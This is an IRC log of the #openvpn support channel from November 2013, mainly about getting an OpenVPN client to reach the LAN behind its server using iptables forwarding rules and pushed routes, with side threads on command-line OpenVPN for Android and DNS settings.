05:18 < SupaYoshi> yeah the thing is this, I cannot add a route on the client side router
05:18 < FriedZombie> yeah sorry, had to run yesterday :/
05:18 < SupaYoshi> so i needed to do it from the client he said
05:18 < SupaYoshi> So what do I do? :D
05:18 < SupaYoshi> FriedZombie! No problem!
05:19 < SupaYoshi> I been searching the forums FriedZombie, but I ended up being unable to reach my server, and had to connnect a monitor to it
05:19 < SupaYoshi> lmao
05:19 < SupaYoshi> So I do it on the client.conf i assume
05:19 < SupaYoshi> ??
05:20 < FriedZombie> sure, usually I try to stick as little as possible in the client.conf but it is a good option
05:20 < SupaYoshi> FriedZombie, what is the better alternative here? :D
05:21 < FriedZombie> i would say push the router from the server.conf because if something changes you don
05:21 < FriedZombie> 't have to modify all the clients
05:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
05:32 < SupaYoshi> okay cool!
05:32 < SupaYoshi> how would i do that exactly?
05:32 < SupaYoshi> beause I am already pushing a route in that file
05:32 < SupaYoshi> want to see?
05:33 < SupaYoshi> how do i grep without comments?
05:34 < SupaYoshi> http://paste.ubuntu.com/6399193/
05:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
05:35 < SupaYoshi> push "route 10.15.1.0 255.255.255.0"
05:35 < SupaYoshi> has it to do with the DNS server?
05:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:36 -!- mode/#openvpn [+o plaisthos] by ChanServ
05:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
05:41 < FriedZombie> was 10.15.1.0 the network at your home? (I forgot)
05:49 < SupaYoshi> yah
05:49 < SupaYoshi> 10.15.1.1 is my router
05:49 < SupaYoshi> 10.15.1.110 is my pc for example
05:49 < SupaYoshi> and now i can reach the router, from the openvpn client
05:49 < SupaYoshi> but not the computers connected to the router
05:52 < FriedZombie> yeah the other computers could be firewalled maybe?
05:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:58 < SupaYoshi> they are firewalled, but i also tried a raspberry to ping that
05:58 < SupaYoshi> and that didnt work either
05:58 < SupaYoshi> That is linux based, should i print
05:58 < SupaYoshi> iptables -save?
06:01 < SupaYoshi> I also tried to ping a device that doesnt even have a firewall
06:01 < SupaYoshi> SIPURA 3000 :p and even that isnt reachable
06:01 < SupaYoshi> router is reachable though from openvpn client
06:01 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
06:03 < SupaYoshi> yesterday ya said its pure openvpn client side
06:03 < SupaYoshi> is that still so then?
06:03 < SupaYoshi> need to see my client.conf?
06:05 -!- smue [smue@nostromo.smue.info] has joined #openvpn
06:06 < SupaYoshi> FriedZombie, any idea? :D
06:07 < FriedZombie> well then where stricly talking about the network aspect. Not about the firewall on the endpoint in you home network.
06:07 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Read error: Connection reset by peer]
06:08 < FriedZombie> but if you can reach your router at your home from the vpn client, then it seems like the routing works properly both ways.
06:08 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
06:08 < SupaYoshi> bk
06:08 < SupaYoshi> back
06:08 < SupaYoshi> FriedZombie, any idea? :D
06:08 < SupaYoshi> a traceroute from the openvpn client to the lan shows this
06:09 < SupaYoshi> http://paste.ubuntu.com/6399357/
06:09 < SupaYoshi> so basically it strands at the openvpn server
06:09 < SupaYoshi> which is 10.8.0.1
06:09 < SupaYoshi> And then it needs to go to 10.15.1.1 i suppose (router)
06:09 < SupaYoshi> but it doesnt do that.. =/
06:10 < FriedZombie> does the openvpn box allow forwarding from the vpn network?
06:11 < SupaYoshi> i dont know
06:11 < SupaYoshi> how do i check that?
06:11 < SupaYoshi> ip forwarding is enabeld if thats what ya mean
06:11 < SupaYoshi> net.ipv4.ip_forward = 1
06:12 < SupaYoshi> thats on the server
06:12 < FriedZombie> cat /proc/sys/net/ipv4/ip_forward
06:12 < FriedZombie> if it returns 0 it isn't enabled
06:12 < SupaYoshi> cat /proc/sys/net/ipv4/ip_forward = 1
06:12 < SupaYoshi> I know
06:12 < FriedZombie> assuming you don't have iptable rules
06:12 < SupaYoshi> but it is ><
06:12 < SupaYoshi> i dont
06:12 < SupaYoshi> I have the sys edit thing
06:13 < FriedZombie> it is fine
06:13 < SupaYoshi> Permanent setting using /etc/sysctl.conf
06:13 < SupaYoshi> that is what i done
06:13 < SupaYoshi> But why then does it strand there?
06:13 < SupaYoshi> openvpn config? or firewall issue on openvpn server?
06:13 < SupaYoshi> I will post iptables -save ok?
06:13 < FriedZombie> sure
06:13 < SupaYoshi> eh
06:13 < SupaYoshi> is it -safe?
06:13 < SupaYoshi> or -save? cus it doesnt work
06:14 < SupaYoshi> !netview
06:14 < FriedZombie> are you root? it is iptables-save
06:14 < SupaYoshi> thnx
06:14 < SupaYoshi> oh that shows nothing
06:14 < SupaYoshi> i am root
06:14 < FriedZombie> well then then you don't have anything set
06:15 < SupaYoshi> ah ok
06:15 < SupaYoshi> well that means its good right?
06:15 < SupaYoshi> i suppose...
06:15 < SupaYoshi> or do i need to do something still? :D
06:16 < SupaYoshi> tcpdump -pni eth0 dst net 10.8.0.0/24
06:16 < SupaYoshi> does nothing really
06:16 < SupaYoshi> when i do a traceroute from the openvpn client
06:18 < SupaYoshi> so whats wrong :(
06:21 < FriedZombie> try:    iptables -A forward -i tun0 -o eth0  -d 10.15.0/24 -s 10.8.0.0/24 -j ACCEPT   (assuming tun0 is the vpn interface and eth0 is your connection to the network)
06:22 < FriedZombie> typo :.
06:22 < FriedZombie> iptables -A FORWARD -i tun0 -o eth0  -d 10.15.0/24 -s 10.8.0.0/24 -j ACCEPT
06:22 < SupaYoshi> okay
06:22 < SupaYoshi> gonna try yeah?
06:22 < SupaYoshi> on the openvpn server
06:22 < SupaYoshi> right? :D
06:23 < SupaYoshi> btw that is correct
06:23 < FriedZombie> yeah
06:23 < SupaYoshi> retry to traceroute?
06:23 < SupaYoshi> from the client?
06:23 < FriedZombie> sure
06:23 < FriedZombie> yup
06:24 < SupaYoshi> nope
06:24 < SupaYoshi> same results
06:24 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
06:24 < SupaYoshi> http://paste.ubuntu.com/6399420/
06:25 < FriedZombie> Hmm well, we will try tonight (if you haven't solved it yet). Have some work to do (could also be a setting in the server.conf, but have to look that up)
06:25 < SupaYoshi> np!
06:25 < SupaYoshi> thnx though, we try later then :D np!
06:26 -!- Denial [Denial@2.223.161.125] has joined #openvpn
06:26 < SupaYoshi> im gonna restart the openvpn client and try
06:26 < SupaYoshi> maybe it helps
06:26 < SupaYoshi> *openvpn client service
06:27 < SupaYoshi> it cant be that i need 2 static routes in my router right?
06:27 < SupaYoshi> one from my router to the openvpn box (is there)
06:28 < SupaYoshi> and one from my openvpn box to my router (isnt there) i think
06:29 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
06:29 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 248 seconds]
06:29 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:31 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:32 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:35 < SupaYoshi> http://forum.zentyal.org/index.php?topic=16861.0
06:35 <@vpnHelper> Title: [SOLVED]Traffic from internal LAN cannot route via OpenVPN client (at forum.zentyal.org)
06:35 < SupaYoshi> can this be it what im facing here?
06:35 < SupaYoshi> But i dont think so
06:36 < SupaYoshi> Beause I can ping my openvpn clients from my LAN to the client.
06:36 < SupaYoshi> but i cannot ping from CLIENT to LAN.
06:36 < SupaYoshi> Kind of weird though, because the packet knows how to find its way back when I do it, but does not when the other side starts doing it?
06:45 < SupaYoshi> http://superuser.com/questions/537668/why-cant-my-openvpn-client-access-machines-on-same-lan-as-openvpn-server
06:45 <@vpnHelper> Title: vpn - Why cant my OpenVPN client access machines on same LAN as OpenVPN server? - Super User (at superuser.com)
06:45 < SupaYoshi> something about bridging instead of routing there
06:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:55 < SupaYoshi> http://community.spiceworks.com/topic/379477-cannot-ping-computers-on-local-network-over-openvpn-tunnel
06:55 <@vpnHelper> Title: Cannot Ping Computers on Local Network over OpenVPN Tunnel - Spiceworks (at community.spiceworks.com)
06:55 < SupaYoshi> This guy solved it by doing this according to him:
06:55 < SupaYoshi> " I had to add a static route to the clients.conf file pointing traffic to the gateway device that knows about the other subnet. All is working now."
06:56 < SupaYoshi> But i dont want to do that, because I would have to do this in every and each client.conf
06:56 < SupaYoshi> as FriedZombie told me. So im going to look on how to do this with the server.conf
06:58 < SupaYoshi> https://forums.openvpn.net/topic12636.html
06:58 <@vpnHelper> Title: OpenVPN Support Forum Site-to-site routing with OpenVPN on WinSrv2012 : Configuration (at forums.openvpn.net)
06:59 < SupaYoshi> This guy has a route, and server setting in his server.conf
06:59 < SupaYoshi> i have server too. server 10.8.0.0 255.255.255.0
06:59 < SupaYoshi> but my server is 10.8.0.1
06:59 < SupaYoshi> but according to his config its right.
07:20 -!- Braggart [~Braggart@103.9.115.66] has joined #openvpn
07:20 < Braggart> !welcome
07:20 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:20 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:20 < Braggart> !goal
07:20 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:20 < SupaYoshi> hey fraggert
07:21 < SupaYoshi> Braggart
07:21 < SupaYoshi> i mean sorry
07:21 < Braggart> !goal I want to only forward web traffic to my server.
07:21 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 272 seconds]
07:21 < Braggart> SupaYoshi: It's okay, hi.
07:21 < SupaYoshi> hi :D
07:21 < SupaYoshi> I have one last issue with my openvpn setup
07:22 < SupaYoshi> everything works, except one thing, pinging from my openvpn client to my openvpn server lan.
07:22 < SupaYoshi> *to the lan behind my openvpn server
07:22 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
07:22 -!- mode/#openvpn [+v hazardous] by ChanServ
07:22 < SupaYoshi> i think it has to do with my sercer.conf
07:22 < Braggart> First describe what exact;y happens when you try pinging.
07:22 < SupaYoshi> *server.conf could you provide me some help
07:23 < SupaYoshi> ok np.
07:23 < SupaYoshi> This is my situation: My lan subnet is 10.15.1.0/24 - My openVPN subnet is 10.8.0.0/24. My router is located at 10.15.1.1
07:23 < SupaYoshi> My openvpn server is located at 10.15.1.100
07:23 <@ecrist> good morning peeps
07:23 < SupaYoshi> morning!
07:23 < Braggart> Good evening.
07:24 < SupaYoshi> afternoon for me
07:24 < SupaYoshi> :)
07:24 <@ecrist> Mon Nov 11 07:24:21 CST 2013
07:24 < SupaYoshi> anyway ive routes everything so i can ping for example... from 10.15.1.110 (my pc) to 10.8.0.10 (openvpn client)
07:24 < SupaYoshi> but i cannot do it the other way around, (that is client to server side lan)
07:25 < SupaYoshi> 10.8.0.10 to 10.15.1.110
07:25 < Braggart> What's the output when you ping?
07:25 < SupaYoshi> i will give you tracert
07:25 < SupaYoshi> i think tahts better
07:25 < SupaYoshi> right?
07:25 < SupaYoshi> basically ping does nothing
07:26 < Braggart> I don't know, I am not sure I can help you at all. I am asking info that can help others help you solve the problem.
07:26 < Braggart> Ping will give an output.
07:26 < Braggart> What output it gives can help determine the problem.
07:26 < SupaYoshi> PING 10.15.1.110 (10.15.1.110) 56(84) bytes of data.
07:26 < SupaYoshi> 10 packets transmitted, 0 received, 100% packet loss, time 9004ms
07:26 < SupaYoshi> Funny is, I can ping 10.15.1.1 (router) from the openvpn client side.
07:27 < SupaYoshi> So I think my server.conf is missing something as im reading
07:27 < SupaYoshi> but what exactly not sure. probally a route thing.
07:27 < SupaYoshi> But last time i added that, i was unable to connect to my server (probally did something really wrong) and had to do alot of stuff
07:27 < Braggart> Packet loss, basically we don't know if the server received it at all.
07:29 < Braggart> So you can't ping to 10.15.0.0 network from 10.8.0.0 network, yes?
07:30 < SupaYoshi> i can :p
07:30 < SupaYoshi> but just the router and the server itself
07:30 < SupaYoshi> just not the lan behind the server and the router :P
07:32 < Braggart> What routes do you have in your config?
07:34 <@ecrist> !goal
07:34 <@ecrist> !logs
07:34 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:34 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
07:34 <@ecrist> !configs
07:34 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:35 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Read error: Connection reset by peer]
07:37 < Braggart> ... Looks like someone disappeared.
07:38 < Braggart> I want to only forward my web traffic to my OpenVPN server. Can anyone help? Basically, I want to define a select ports whose traffic will be forwarded over the VPN.
07:38 < SupaYoshi> sec
07:50 <@ecrist> Braggart: you cannot, without other software, only send certain ports across the vpn
07:50 <@ecrist> that's what's known as policy routing
07:50 <@ecrist> !policy
07:50 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario or (#3) dynamic OpenVPN policy github project: https://github.com/QueuingKoala/openvpn-dynamic
07:50 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:52 < SupaYoshi> Braggart
07:52 < Braggart> Aye.
07:52 < SupaYoshi> im back sorry had to setup someones printer to be DHCP
07:53 < SupaYoshi> lol
07:53 < SupaYoshi> http://paste.ubuntu.com/6399792/
07:53 < SupaYoshi> this is the server.conf and there is only 1 route
07:54 < Braggart> ecrist: I don't see anything about ports in those links...
07:54 < SupaYoshi> push "route 10.15.1.0 255.255.255.0"
07:54 < SupaYoshi> but on the internet i am reading about route setting, iroute and even a gateway setting there
07:54 < SupaYoshi> so.. im really curious what to use now :)
07:54 <@ecrist> !factoids search policy
07:54 <@vpnHelper> 'policy' and 'redirect-policy'
07:54 <@ecrist> ah
07:55 <@ecrist> !redirect-policy
07:55 <@vpnHelper> "redirect-policy" is If you are using --redirect-gateway and wish to maintain external access to the same system, you need Policy Routing. If using Linux, see !lartc for reading on the subject. Note that this is a somewhat advanced networking topic.
07:55 <@ecrist> Braggart: basically, you need a firewall do handle the port-based redirect.  OpenVPN will only route by IP
07:55 <@ecrist> not IP + port
07:56 < Braggart> PITA.
07:57 < Braggart> Sigh, if I were using Linux, these kinds of problem would be trivial to solve...
07:58 < SupaYoshi> what?
07:58 < SupaYoshi> im not using --redirect-gateway
07:58 < SupaYoshi> so this is not for me right? o.o
07:58 < Braggart> Mmh, it's about my problem.
07:58 <@ecrist> SupaYoshi: there's more than one conversation going on here.
07:58 < SupaYoshi> i understand yeah sorry :)
07:58 < Braggart> Sorry about the confusion.
07:59 < SupaYoshi> its okay, xD it got me confused haha >< sorry for being sily
08:03 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:06 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
08:09 -!- Braggart [~Braggart@103.9.115.66] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0/20131025151332]]
08:12 < SupaYoshi> Hey FriedZombie_!
08:12 < SupaYoshi> wb :P
08:12 < FriedZombie_> hey
08:12 < SupaYoshi> hehe
08:13 < SupaYoshi> :P I still havent got it working
08:13 < SupaYoshi> got some time ? :P or later?
08:16 < FriedZombie_> still later, scheelt dat we wel in de zelfde tijdzone zitten. denk rond een uur of zes ofzo
08:16 < SupaYoshi> hahah oke dan! geweldig ook weer
08:17 < SupaYoshi> tuurlijk nederlands hehe
08:20 < FriedZombie_> ;)
08:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:54 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Ping timeout: 244 seconds]
08:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:02 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Read error: Connection reset by peer]
09:02 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
09:03 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
09:04 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
09:11 < Moonlightning> So what would I need to run openvpn on an Android phone, as a standalone commandline program?
09:15 -!- SviMik [~pIRCuser8@204.164.250.195.sta.estpak.ee] has quit [Quit: svimik@mail.ru]
09:18 <@plaisthos> rooted or unrooted?
09:19 <@plaisthos> Moonlightning: and why?
09:19 < Moonlightning> Rooted.
09:19 < Moonlightning> Because I'm not liking the app.
09:19 <@plaisthos> :(
09:19 < Moonlightning> And IIRC, you guys don't support it?
09:19 < Moonlightning> It requires too many permissions.
09:19 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
09:20 < Moonlightning> You don't need permissions to hijack all my connections just to create one. 9.9
09:20 <@plaisthos> Moonlightning: Of course I support my own app!
09:20 < Moonlightning> It seems to be trying to do just that, too.
09:20 < Moonlightning> 'sides, I don't want an entire /app/ taking up space in the app drawer.
09:20 <@plaisthos> Moonlightning: yeah. But that is true for any VPN app
09:20 < Moonlightning> And just generally meh.
09:20 < Moonlightning> Well, see, there you go. :P
09:21 < Moonlightning> I'll use the program instead.
09:21 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
09:21 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:21 <@plaisthos> openvpn on command line has root
09:21 <@plaisthos> which is even worse from that standpoint
09:21 <@plaisthos> but your choice
09:21 <@plaisthos> OpenVPN settings iirc ships an openvpn binrary
09:21 <@plaisthos> otherwise you can probably crosscompile openvpn with the android ndk
09:21 < Moonlightning> Oh, it does?
09:21 < Moonlightning> That's very convenient! ^^
09:22 <@plaisthos> but no idea
09:22 < Moonlightning> I was about to cross-compile it, yeah
09:22 <@plaisthos> I am not using that app
09:22 < Moonlightning> Only I don't have the toolchain built because gcc won't bootstrap >.<
09:22 <@plaisthos> Moonlightning: see the Toolchain document in the NDK
09:22 -!- gardar [~gardar@gardar.net] has joined #openvpn
09:23 <@plaisthos> just use that toolchain
09:23 < Moonlightning> …
09:23  * Moonlightning headdesks…
09:23 <@plaisthos> Moonlightning: ?
09:23 < Moonlightning> so many conflicting instructions x.x
09:24 < Moonlightning> I was using http://forum.xda-developers.com/showthread.php?t=1299962
09:24 <@vpnHelper> Title: Linux in Android! DesirAPT is at Beta Test! [9 Feb] - xda-developers (at forum.xda-developers.com)
09:25 <@plaisthos> Moonlightning: yehat that includes glibc and stuff
09:26 <@plaisthos> ndk allows you to build against boinc
09:26 < Moonlightning> …oh.
09:27 < Moonlightning> Doesn't everything require a fuller libc than boinc?
09:27 <@plaisthos> Moonlightning: my openvpn with ship with OpenVPN for Android is build against boinc too
09:27 < Moonlightning> and it works as good as one built against libc?
09:28 <@plaisthos> bionic ist just the name of Android libc
09:28 <@plaisthos> as oposed to the glibc
09:28 <@plaisthos> http://en.wikipedia.org/wiki/Bionic_(software)
09:28 < Moonlightning> yeah, but I read that it was really stripped-down and doesn't include a lot of things that many programs designed for Linux distros require
09:28 <@krzee> pppingme> [22:05:53] If you did that to my network, I'd argue you should be fired..
09:28 <@krzee> i agree
09:30 <@plaisthos> Moonlightning: *shrug* for Openvpn it works
09:30 < Moonlightning> Huh.
09:30 < Moonlightning> well, one less thing to cross-compile! ^^
09:30 < Moonlightning> Can I grab just the binary?
09:31 <@plaisthos> Moonlightning: I have no idea how OpenVPN settings works
09:31 <@plaisthos> the binary inside OpenVPN for Android will not work for command line
09:31 <@krzee> plaisthos> bionic ist just the name of Android libc    <-- that sounds like a joke we would have made in the 90s
09:31 <@plaisthos> krzee: :)
09:32 < Moonlightning> …wait, you just said it would?
09:32 <@plaisthos> Moonlightning: did I?
09:32 <@plaisthos> Moonlightning: I don't think so
09:33 < Moonlightning> > OpenVPN settings iirc ships an openvpn binrary, otherwise you can probably crosscompile openvpn with the android ndk
09:33 <@plaisthos> Moonlightning: yeah
09:33 <@plaisthos> OpenVPN settings != OpenVPN for Android != OpenVPN connect
09:33 < Moonlightning> implying I can use that binary?
09:33 <@plaisthos> three different aps
09:33 < Moonlightning> 6_9
09:33 < Moonlightning> I think I'm just going to cross-compile.
09:33 <@plaisthos> :)
09:33 <@krzee> the binary in openvpn settings may be used without a gui
09:33 <@krzee> if youd like it to be unix style
09:33 <@krzee> (the one made by fries)
09:34 <@krzee> otherwise, the version by arne may be used for the gui (in ICS and above)
09:34 <@plaisthos> https://github.com/schwabe/openvpn/tree/dualstack5
09:34 <@vpnHelper> Title: schwabe/openvpn · GitHub (at github.com)
09:34 <@plaisthos> that is the openvpn version inside OpenVPN for Android
09:34 <@plaisthos> it compiles with the NDK
09:34 <@krzee> hey cool!
09:35 <@plaisthos> You can also just download http://code.google.com/p/ics-openvpn/source
09:35 <@vpnHelper> Title: Source Checkout - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com)
09:35 <@plaisthos> do ndk-build
09:35 <@plaisthos> and change TARGET_ANDROID to TARGET_LINUX
09:35 < Moonlightning> for ICS and later?
09:35  * Moonlightning has KitKat
09:37 -!- vvinothkumar [~vinothkum@122.166.92.158] has joined #openvpn
09:37 <@plaisthos> ICS is 4.0
09:37 < vvinothkumar> Is there any option to specify domain name server in openvpn client file ?
09:41 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has quit [Ping timeout: 248 seconds]
09:42 <@plaisthos> Moonlightning: Be prepared to deal with policy based routing
09:42 <@plaisthos> and ip rule and stuff
09:43 < Moonlightning> Wha?
09:43 -!- eval- [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
09:44 <@plaisthos> Moonlightning: :)
09:44 <@plaisthos> Moonlightning: android 4.4 use some advanced networking stuff
09:45 <@plaisthos> which is transparent to the GUI apps settings routes through the VPNService API
09:45 <@plaisthos> e.g. you can have two users on Android using different VPNs
09:51 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 248 seconds]
09:54 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
10:11 -!- Dasoren [~Dasoren@2001:470:e0b8:11:fdc3:54fe:584c:b521] has joined #openvpn
10:13 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 246 seconds]
10:15 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
10:25 -!- Fetch_ is now known as Fetch
10:28 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 244 seconds]
10:31 -!- mattock is now known as mattock_afk
10:31 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 244 seconds]
10:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 244 seconds]
10:38 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
10:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:56 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
11:00 -!- vvinothkumar [~vinothkum@122.166.92.158] has quit [Remote host closed the connection]
11:01 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 240 seconds]
11:07 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 244 seconds]
11:13 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
11:14 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
11:20 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
11:22 -!- raidz is now known as raidz_away
11:27 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
11:30 -!- raidz_away is now known as raidz
11:34 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
11:45 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has joined #openvpn
11:46 < napoleonwilson> i need to redirect vpn connection back to localhost
11:46 < napoleonwilson> can i add some routes on my router to redirect traffic from the vpn connection back to my lan
11:47 <+pekster> "back to localhost" ? That's really not what you want to do. Can you describe the goal better?
11:50 < napoleonwilson> trying to get round geo ip blocking with hulu
11:50 < napoleonwilson> laptop has a vpn connection to the states using a tun interface
11:50 <+pekster> So you want to redirect all Internet-bound traffic from your client across the VPN?
11:51 < napoleonwilson> yes spot on
11:51 < napoleonwilson> and back again
11:51 <+pekster> You want to read this, including the helpflow flowchart:
11:51 <+pekster> !redirect
11:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:51 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:52 < napoleonwilson> i dont have any control over the server settings just the client
11:52 <+pekster> !both
11:52 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
11:52 < napoleonwilson> the server pushes the dns settings
11:53 <+pekster> I'm not really interested in acting as your provider's tech support
11:53 < napoleonwilson> lol
11:53 < napoleonwilson> just trying to figure out how to override the settings the server pushes for the dns
11:54 < napoleonwilson> dont worry
11:54 < napoleonwilson> wil get their in the end one wau or another
11:54 <+pekster> Don't apply them? Linux/Unix won't unless you attached script hooks (see !pushdns) and Windows controls that through the GUI checkboxes in the adapter interface
11:54 <+pekster> All that is really outside of openvpn; if you want to configure your OS/distro differently, you're free to do so
11:56 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-ijkjdikmqvhwsbpa] has quit [Quit: Connection closed for inactivity]
11:56 < napoleonwilson> yes something to do with the routes and dns
11:57 <+pekster> Your manpage references to learn what's going on would be --push, --redirect-gateway, --dhcp-option, and perhaps --client
11:57 < napoleonwilson> cheers mate time to hit the books
11:58 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
12:10 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has quit [Quit: Leaving]
12:16 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
12:29 -!- debbie10t_afk [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
12:29 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
12:30 <@debbie10t_afk> just noticed on the forum all times are at 11 minutes past the hour ?
12:31 <+pekster> "It is currently 11 Nov 2013 18:31" and "All times are UTC" <-- looks fine to me
12:32 <@debbie10t_afk> hmmm odd .. tried two different browsers - oh well not to worry
12:33 <@debbie10t_afk> It is currently 2013 Nov 11 -- 06:11
12:34 <+pekster> Maybe it's some clever JS pulling from your local clock?
12:35 <@debbie10t_afk> hmm .. i think it is my end by the look of it
12:35 <@debbie10t_afk> back later
12:35 -!- debbie10t_afk [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
12:36 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:44 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
12:44 -!- mattock_afk is now known as mattock
12:46 -!- trumee [~parul@93.186.157.163] has quit [Read error: Connection reset by peer]
12:46 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:50 -!- trumee [~parul@93.186.157.163] has joined #openvpn
12:56 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
13:06 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:10 -!- debbie10t_afk [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
